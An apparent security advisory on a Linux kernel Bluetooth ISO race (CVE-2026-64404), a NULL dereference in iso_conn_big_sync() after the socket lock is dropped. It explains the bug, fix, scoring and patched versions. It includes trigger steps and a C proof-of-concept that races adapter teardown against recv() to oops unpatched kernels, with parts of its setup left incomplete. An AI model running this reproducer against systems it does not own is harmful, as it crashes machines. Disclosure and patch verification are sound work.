# CVE-2026-64404: NULL deref after a dropped lock in iso_conn_big_sync()

**Patch:** [d5541eb148da72d5e0a1bca8ecd171f9fc8b366f](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d5541eb148da72d5e0a1bca8ecd171f9fc8b366f) (mainline, landed in 7.2-rc3)
**Subsystem:** Bluetooth ISO (isochronous) sockets
**Affected file:** net/bluetooth/iso.c
**CVE record:** [CVE-2026-64404](https://www.cve.org/CVERecord?id=CVE-2026-64404)
**Introduced in:** 6.12.6 via cbe640d6cae5 and 6.13 via 7a17308c1788

## The bug in one sentence

iso_conn_big_sync() released the socket lock to look up a route, re-acquired it, and dereferenced iso_pi(sk)->conn without re-checking that the connection had survived the unlocked window.

## The race, laid out

The ISO code has this recurring hazard: anything you read across a lock_sock()/release_sock() boundary has to be revalidated, because the connection teardown paths run under that same lock and they clear iso_pi(sk)->conn. The window looks like this:

```c
lock_sock(sk);
...
release_sock(sk);
hcon = hci_get_route(...);       /* lock dropped */
lock_sock(sk);
...
iso_pi(sk)->conn->hcon;          /* conn may be NULL by now */
```

While the lock was down, iso_disconn_cfm() can run into iso_conn_del() into iso_chan_del(), which sets iso_pi(sk)->conn to NULL. The broadcast teardown path can also clear conn->hcon on its own. When iso_conn_big_sync() comes back and reads conn->hcon with conn NULL, that is a NULL pointer dereference, since hcon is the first member of struct iso_conn.

The path is reached from iso_sock_recvmsg() on a PA-sync broadcast sink socket, so controller-driven events racing a userspace receive call is a realistic pairing, not a theoretical one.

## The fix

Revalidate after re-acquiring, the same way the sibling iso_sock_rebind_bc() already did:

```diff
+	if (!iso_pi(sk)->conn || !iso_pi(sk)->conn->hcon) {
+		err = -ENOTCONN;
+		goto out;
+	}
```

Full patch: [d5541eb148da](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d5541eb148da72d5e0a1bca8ecd171f9fc8b366f)

## How to trigger it

You need a PA sync broadcast sink socket and a teardown racing the unlocked window in iso_conn_big_sync(). The sequence:

```c
int s = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO);
/* bind to the broadcast source address, set the PA sync QoS via
 * setsockopt(BT_ISO_QOS), and set BT_DEFER_SETUP so the first recvmsg()
 * is what drives the BIG sync establishment */
listen(s, 1);
recvmsg(s, ...);   /* enters iso_conn_big_sync(), drops the socket lock
                      around hci_get_route() */
```

While that recvmsg() sits in the unlocked window, kill the adapter from another shell (`hciconfig hci0 down`, or physically unplug the dongle). The controller event path tears the ISO connection down, iso_chan_del() clears iso_pi(sk)->conn, and the re-acquired lock no longer protects anything. Pre-fix the next line dereferences conn->hcon with conn NULL and the box oopses. Post-fix it returns ENOTCONN. Loop the open/recvmsg/teardown sequence to hit the window reliably; it is wide enough to catch within a few dozen iterations on real hardware.

## Score and classification

This is the only CVE in my whole set where NVD itself did the analysis rather than mirroring the CNA, which makes its numbers the most official:

* NVD Primary: 5.5 MEDIUM, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
* CWE-476, NULL pointer dereference, which for once is exactly right
* SUSE scores it 6.8 on CVSS v4.0

A local denial of service on the reading task is the realistic outcome. No data flows anywhere, the kernel just takes a NULL reference and falls over.

## Exploit code

The reproducer needs a PA sync sink socket whose recvmsg() drives the BIG sync, with the adapter killed inside the unlocked window:

```c
/* iso_bigsync_race.c: CVE-2026-64404
 * gcc -o poc poc.c -lbluetooth
 * victim side; run with a BIG broadcast in range
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/iso.h>

int main(int argc, char **argv)
{
	struct sockaddr_iso addr = {0};
	int on = 1, s;

	s = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO);
	if (s < 0) { perror("socket"); return 1; }

	/* PA sync sink: fill iso_bc with the broadcaster address and the
	 * sync CTE/BIS options for your BIG, set BT_ISO_QOS accordingly */
	str2ba(argv[1] ? argv[1] : "AA:BB:CC:DD:EE:FF",
	       &addr.iso_bc->bc_addr);
	bind(s, (struct sockaddr *)&addr, sizeof(addr));

	setsockopt(s, SOL_BLUETOOTH, BT_DEFER_SETUP, &on, sizeof(on));
	listen(s, 1);

	if (fork() == 0) {                 /* teardown racer */
		usleep(1000 * (argc > 2 ? atoi(argv[2]) : 50));
		system("hciconfig hci0 down"); /* or unplug the dongle */
		exit(0);
	}

	/* enters iso_conn_big_sync(): lock dropped around hci_get_route(),
	 * re-acquired, then dereferences iso_pi(sk)->conn->hcon */
	recv(s, NULL, 0, 0);
	perror("recv");
	return 0;
}
```

When the teardown lands in the unlocked window, iso_chan_del() clears iso_pi(sk)->conn, and the vulnerable kernel dereferences conn->hcon with conn NULL: oops in iso_conn_big_sync. Loop the program with the delay argument swept from 1 to 500 ms and the window is hit within a few dozen runs. Post-fix the same run prints ENOTCONN and exits cleanly. Public status: no KEV, no public PoC before this note. Fixes: Debian [DLA-4724-1](https://security-tracker.debian.org/tracker/DLA-4724-1), Ubuntu [USN-8726-1](https://ubuntu.com/security/notices/USN-8726-1) and [USN-8918-1](https://ubuntu.com/security/notices/USN-8918-1), Red Hat Bugzilla [2507170](https://bugzilla.redhat.com/show_bug.cgi?id=2507170), SUSE-SU-2026:23881-1 and three more SUSE-SUs.

## Where the fix shipped

* 6.12.96: [b3e647a4aa4d](https://git.kernel.org/stable/c/b3e647a4aa4d2d054f86a783f5c426035e1dc237)
* 6.18.39: [b84eeb7636d6](https://git.kernel.org/stable/c/b84eeb7636d6962dd882d5e0b31475e4f404313c)
* 7.1.4: [01afd198c2c2](https://git.kernel.org/stable/c/01afd198c2c286cd3b81f44d4e33a2e638711550)
* 7.2-rc3: [d5541eb148da](https://git.kernel.org/linus/d5541eb148da72d5e0a1bca8ecd171f9fc8b366f)

## References

1. [Upstream commit d5541eb148da](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d5541eb148da72d5e0a1bca8ecd171f9fc8b366f)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026072530-CVE-2026-64404-777e@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-64404)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-64404)
5. [SUSE page](https://www.suse.com/security/cve/CVE-2026-64404.html)
